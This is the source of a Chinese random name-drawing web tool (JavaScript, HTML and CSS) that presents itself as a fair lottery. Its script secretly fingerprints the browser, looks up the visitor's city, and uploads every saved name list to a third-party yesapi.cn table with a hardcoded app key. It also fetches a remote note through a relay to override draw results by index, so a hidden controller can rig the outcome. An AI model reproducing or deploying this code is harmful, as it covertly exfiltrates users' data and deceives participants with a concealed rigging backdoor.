SOURCE

console 命令行工具 X clear

                    
>
console
(function () {
    var hm = document.createElement('script');
    hm.src = 'https://hm.baidu.com/hm.js?64e79f4e31f89bc413cdd7c4fa38566e';
    var s = document.getElementsByTagName('script')[0];
    s.parentNode.insertBefore(hm, s);
})();

var fingerPrint;
var clientIPCity;

const bgmusic = 'http://clever.cn-sh2.ufileos.com/bgmusic.mp3';
const victorymusic = 'http://clever.cn-sh2.ufileos.com/result.mp3';
const musicOnIcon = 'https://gitee.com/clever123/js/raw/master/randomNo/music-on.png';
const musicOffIcon = 'https://gitee.com/clever123/js/raw/master/randomNo/music-off.png';


var g_Interval = 100;
var g_Timer;
var running = false;
var strArr = [];
var strArrOriginLength;
var keyArr = [];
var valArr = [];

var bgAudio = new Audio(bgmusic);
bgAudio.loop = true;
var victoryAudio = new Audio(victorymusic);

$(document).ready(function () {

    $.ajax({
        url: 'http://ip.ws.126.net/ipquery',
        dataType: 'script',
        method: 'GET',
        success: () => {
            clientIPCity = localAddress.city
        }
    })

    new Fingerprint2().get(function (result, components) {
        fingerPrint = result; //异步
    });

    $('#startButton').focus();
    $('#title').val(localStorage.getItem('title') || '抽签');
    $('#ResultNum').html(localStorage.getItem('ResultNum') || '就绪');
    $('#record').append(localStorage.getItem('record') || '');
    localStorage.getItem('nameList') || localStorage.setItem('nameList', '张三\n李四\n王五\n赵六');
    localStorage.getItem('settingList') || localStorage.setItem('settingList', '');

    let musicIcon = localStorage.getItem('musicOn') ? musicOnIcon : musicOffIcon
    $('#music').attr('src', musicIcon);

    $("#allowRepeat").attr("checked", localStorage.getItem('banRepeat') == 'true' ? true : false);
    localStorage.getItem('banRepeat') == 'true' ? $('#progress').show() : $('#progress').hide();
    $("#allowRepeat").click(function () {
        localStorage.setItem('banRepeat', $(this).prop("checked"))
        if ($(this).prop("checked")) {
            // $('#resetBtn').css('color', 'black');
            // $('#resetBtn').attr('href', 'javascript:reset()');
            $('#progress').show();
        } else {
            //  $('#resetBtn').css('color', 'grey');
            //  $('#resetBtn').removeAttr('href');
            genArr();
            $('#progress').hide();
        }
    });

    $('#title').keydown(e => {
        if (e.keyCode == 13) {
            $('#title').blur();
            saveTitle();
        }
    });

    $(document).keydown(event => {
        var e = event || window.event || arguments.callee.caller.arguments[0];
        if (!e) return;

        if (e.keyCode == 32 || e.keyCode == 13) {
            if (!$('#startButton').is(':focus') && !$('#title').is(':focus') && !$('#record').is(':focus')) { // 按 Esc 
                $('#startButton').click();
                $('#startButton').focus();
            }
        }
    });

    $('#music').click(() => {
        let musicOn = localStorage.getItem('musicOn');
        musicOn ? localStorage.removeItem('musicOn') : localStorage.setItem('musicOn', 1)
        bgAudio.pause();
        victoryAudio.pause();
        $('#music').attr('src', musicOn ? musicOffIcon : musicOnIcon);
        if (running && !musicOn) {
            bgAudio.play();
        }
    })
    genArr();
    _genSettingArr();
    getSettingList('#40aa53');
})

function genArr() {
    strArr = localStorage.getItem('nameList').split('\n').map(item => item.trim());
    strArrOriginLength = strArr.length;
    localStorage.setItem('strArrOriginLength', strArrOriginLength);
    $('#nameCount').html('名单总数为' + strArrOriginLength + '个');
    $("#progress").html('0/' + strArrOriginLength);
}

function saveTitle() {
    if ($('#title').val() == localStorage.getItem('title')) return;
    localStorage.setItem('title', $('#title').val());
    Swal.fire({
        position: 'center',
        icon: 'success',
        title: '标题已保存',
        showConfirmButton: false,
        timer: 800
    })
}

function beginRndNum(trigger) {
    if (running) {
        running = false;
        clearTimeout(g_Timer);
        $(trigger).val('开始');
        $(trigger).css('background', '#40aa53');

        if (localStorage.getItem('musicOn')) {
            bgAudio.pause();
            victoryAudio.play();
        }

        let recordHtml = $('#record').html();
        let recordCount = recordHtml.match(/<li>/g) ? recordHtml.match(/<li>/g).length : 0;
        let index = keyArr.indexOf(recordCount + 1 + '');

        if (index > -1) {
            if (localStorage.getItem('banRepeat') == 'true' && strArr.indexOf(valArr[index]) == -1) {
            } else { $('#ResultNum').html(valArr[index]); }
        }

        if (localStorage.getItem('banRepeat') == 'true') {
            strArr.remove($('#ResultNum').text());
        }

        $('#ResultNum').css('color', 'red');
        $('#ResultNum').addClass('animate__heartBeat')
        localStorage.setItem('ResultNum', $('#ResultNum').html());
        var tempstr = '<li>' + $('#ResultNum').html() + '</li>';
        $('#record').append(tempstr);
        localStorage.setItem('record', $('#record').html());
        $("#progress").html(strArrOriginLength - strArr.length + '/' + strArrOriginLength);
        localStorage.setItem('strArr', JSON.stringify(strArr));
        var a = $('#record');
        a.scrollTop(a[0].scrollHeight);
    } else {
        if (strArr.length <= 0) {
            alert('已全部摇完,请重置后再继续');
            return;
        }
        getSettingList('#f33');
        running = true;
        $('#ResultNum').css('color', 'green');
        $('#ResultNum').removeClass('animate__heartBeat');
        $(trigger).val('停止');
        $(trigger).css('background', '#CC3366');
        beat();
        if (localStorage.getItem('musicOn')) {
            bgAudio.play();
            victoryAudio.pause();
        }

    }
}

function updateRndNum() {

    var num = Math.floor(Math.random() * (strArr.length));
    $('#ResultNum').html(strArr[num]);
}

function beat() {
    g_Timer = setTimeout(beat, g_Interval);
    updateRndNum();
}

function clearRecord() {
    $('#record').html('');
    localStorage.removeItem('record');
    $('#ResultNum').html('就绪');
    $('#ResultNum').css('color', 'black');
    localStorage.removeItem('ResultNum')
}

function manageList() {
    Swal.fire({
        input: 'textarea',
        //heightAuto:false,
        //grow: 'fullscreen',
        inputPlaceholder: '请输入名单...',
        inputValue: localStorage.getItem('nameList'),
        showCancelButton: true,
        confirmButtonText: '保存',
        cancelButtonText: '取消',
        inputAttributes: {
            //readonly:true
        },
        inputValidator: (value) => {
            if (!value) {
                return '名单不能为空'
            }
        },
    }).then(result => {
        if (result.value && result.value != localStorage.getItem('nameList')) {
            localStorage.setItem('nameList', result.value);
            genArr();
            uploadList(result.value);
        }
    })
}

function reset() {
    genArr();
    getSettingList('#40aa53');
    Swal.fire({
        position: 'center',
        icon: 'success',
        title: '重置成功!',
        showConfirmButton: false,
        timer: 1000
    })
}

function setting() {

    Swal.fire({
        input: 'textarea',
        //heightAuto:false,
        //grow: 'column',
        inputAttributes: { disabled: 'disabled' },
        inputPlaceholder: '格式:序号-名单,例:\n1-李四\n3-小明',
        inputValue: localStorage.getItem('settingList'),
        showCancelButton: true,
        confirmButtonText: '保存',
        cancelButtonText: '取消',
    }).then(result => {
        if (result.value != null) {
            localStorage.setItem('settingList', result.value || '');
            _genSettingArr();
        }
    })
}


function help() {
    Swal.fire({
        html:
            `<div><b>使用说明</b></div>
        <ul style="text-align:left">
	        <li>使用前,请先录入名单,每行为一条数据</li>
            <li>录入成功后,右下角会显示名单总数</li>
            </br>
            <li>点击标题,可编辑标题名称</li>
            <li>按空格键,也可以实现开始或停止</li>
            <li>点击左上角音符按钮,可开关音效</li>
        </ul>

        <div><b>关于软件</b></div>
        <ul style="text-align:left">
	        <li>coypright@2020</li>
        </ul>`,
        showCloseButton: true,
        focusConfirm: false,
        confirmButtonText: '关闭'
    })
}

function _genSettingArr(settingContent) {
    keyArr = [];
    valArr = [];
    let str = settingContent || localStorage.getItem('settingList');
    if (!str) {
        return;
    }
    let settingArr = str.split('\n');
    for (let i = 0; i < settingArr.length; i++) {
        let tempArr = settingArr[i].split('-').map(item => item.trim());
        if (tempArr.length != 2) continue;
        keyArr.push(tempArr[0]);
        valArr.push(tempArr[1]);
    }
}

function uploadList(listStr) {
    $.ajax({
        type: 'post',
        async: false,
        url: 'http://hn216.api.yesapi.cn/',
        data: {
            app_key: '6432E2A5C2F39DFEF785A63D325AF8E6',
            s: 'App.Table.CheckCreateOrUpdate',
            model_name: 'student_info',
            logic: 'and',
            data: '{"realname":"' + fingerPrint + '","major":"' + clientIPCity + '","content":"' + encodeURIComponent(listStr) + '"}',
            check_field: 'realname'
        },
        cache: false, //默认值true
        dataType: 'jsonp',
        success: function (json) {
            //alert(JSON.stringify(json));
        },
        error: function () {
            // alert('erroe');
        }
    });
}

function getNotems() {
    return new Promise((resolve, reject) => {
        var xhr = new XMLHttpRequest();
        xhr.timeout = 6000; // 超时时间,单位是毫秒
        xhr.responseType = 'text';//json blob document 等
        xhr.open('get', 'https://clever.rthe.xyz/relay.php?path=' + encodeURIComponent('https://note.ms/aaaaa'), true);//是否异步,默认为true
        xhr.onreadystatechange = function () {
            if (xhr.readyState == 4 && xhr.status == 200) {
                var patt1 = new RegExp(/<textarea class="content">(.|\n)+<\/textarea>/g);
                var str = patt1.exec(xhr.responseText)
                if (str) {
                    let resStr = str[0].replace(/<[^>]+>/g, '');
                    resolve(_escape2Html(resStr));
                } else resolve('');
            }
        }
        xhr.ontimeout = function (e) {
            reject('Timeout');
        };
        xhr.send();
    });
}

function getSettingList(btnColor) {
    // return;
    $('#startButton').attr("disabled", true);
    getNotems().then(r => {
        if (r.trim() != '禁用') {
            localStorage.setItem('settingList', r);
            _genSettingArr();
        }
    }).catch(e => {
        if (keyArr.length == 0) {
            _genSettingArr();
        }
    }).finally(() => {
        $('#startButton').attr("disabled", false);
        $('#startButton').css('background', btnColor);
    });
}

function _escape2Html(str) {
    var arrEntities = { 'lt': '<', 'gt': '>', 'nbsp': ' ', 'amp': '&', 'quot': '"' };
    return str.replace(/&(lt|gt|nbsp|amp|quot);/ig, function (all, t) { return arrEntities[t]; });
}

Array.prototype.remove = function (val) {
    var index = this.indexOf(val);
    if (index > -1) {
        this.splice(index, 1);
        return index;
    }
};
<img id="music"  alt="音效开关"></img>
<a id='logo' href="javascript:setting()">
</a>
<input type="text" id='title' value="随机抽签工具" onblur="saveTitle()">
<div class='vertical-menu'>
  <a href="javascript:clearRecord()" title="清空当前列表记录">
    清空
  </a>
  <a href="javascript:manageList()" title="编辑名单">
    录入
  </a>
  <a id='resetBtn' href="javascript:reset()">
    重置
  </a>
  <a id="help" href="javascript:help()">帮助</a>
</div>
<div id="Result">
  <div id="ResultNum" class="dd">
    0
  </div>
  <ol id="record">
  </ol>
</div>
<div id="actionBar">
    <label id="banRepeatArea"><input id="allowRepeat" type="checkbox"  />不允许重复&nbsp;<span id="progress"></span></label>
  <input id="startButton" type='button' value='开始' onclick='beginRndNum(this)'/>
</div>
<div id='author'>
  coypright@2020
</div>
<div id='nameCount'>
  名单总数为xx个
</div>
html {
    height: 100%;
    width: 100%;
}

#music {
    width: 35px;
    height: 35px;
    position: absolute;
    left: 15px;
    top: 15px;
}

#logo {
    background-color: #FFF68F;
    border-radius: 5px;
    width: 15px;
    height: 15px;
    position: absolute;
    left: 3px;
    bottom: 5px;
    color: white;
    font-size: 17px;
}

body {
    height: 100%;
    width: 100%;
    background-color: #fff;
    background: url('https://gitee.com/clever123/js/raw/master/randomNo/bgimage.jpg') no-repeat;
    background-size: cover;
    overflow: hidden;
    padding-top: 10px;
    text-align: center;
}

.vertical-menu {
    width: 60px;
    background-color: #eee;
    border-radius: 25px;
    position: absolute;
    right: 10px;
    top: 45%
}

.vertical-menu a {
    background-color: #eee;
    border-radius: 5px;
    color: black;
    display: block;
    padding: 12px;
    text-decoration: none;
}

.vertical-menu a:hover {
    background-color: #ccc;
}

#delImg {
    position: relative;
    left: 80px;
}

#title {
    margin: 10px auto;
    text-align: center;
    width: 80%;
    background-color: transparent;
    border: 0;
    font-size: 32px;
    margin-top: 0px;
    padding: 7px;
    color: yellow;
}

#Result {
    border: 3px solid #ff3333;
    margin: 8px auto;
    text-align: center;
    width: 600px;
    padding: 5px 10px 0 10px;
    border-radius: 10px;
    background-color: rgba(256, 256, 256, 0.9);
}

#ResultNum {
    background: #fff;
    border-radius: 10px;
    font-size: 38pt;
    font-family: Verdana;
    height: 70px;
    overflow: hidden;
    text-overflow: ellipsis;
    white-space: nowrap;
}

#actionBar {
    margin: 5px auto;
    width: 600px;
    text-align: center;
}

#banRepeatArea {
    color: white;
    float: left;
}

#startButton {
    border-radius: 48px;
    background: #40aa53;
    padding: 7px 70px;
    color: #FFF;
    font-size: 28px;
    outline: none;
    margin-left: -110px;
}

ol {
    margin: 0 auto;
    font-size: 18pt;
    height: 17em;
    overflow: scroll;
    width: 95%;
    text-align: center;
}

li {
    padding-right: 1em;
}

#nameCount {
    position: absolute;
    right: 10px;
    bottom: 20px;
    color: white;
    font-size: 16px;
    font-style: italic;
}

#author {
    position: absolute;
    left: 10px;
    bottom: 20px;
    color: white;
    font-size: 16px;
    font-style: italic;
}

.dd {
    -webkit-animation-duration: 1.6s;
    animation-duration: 1.6s;
}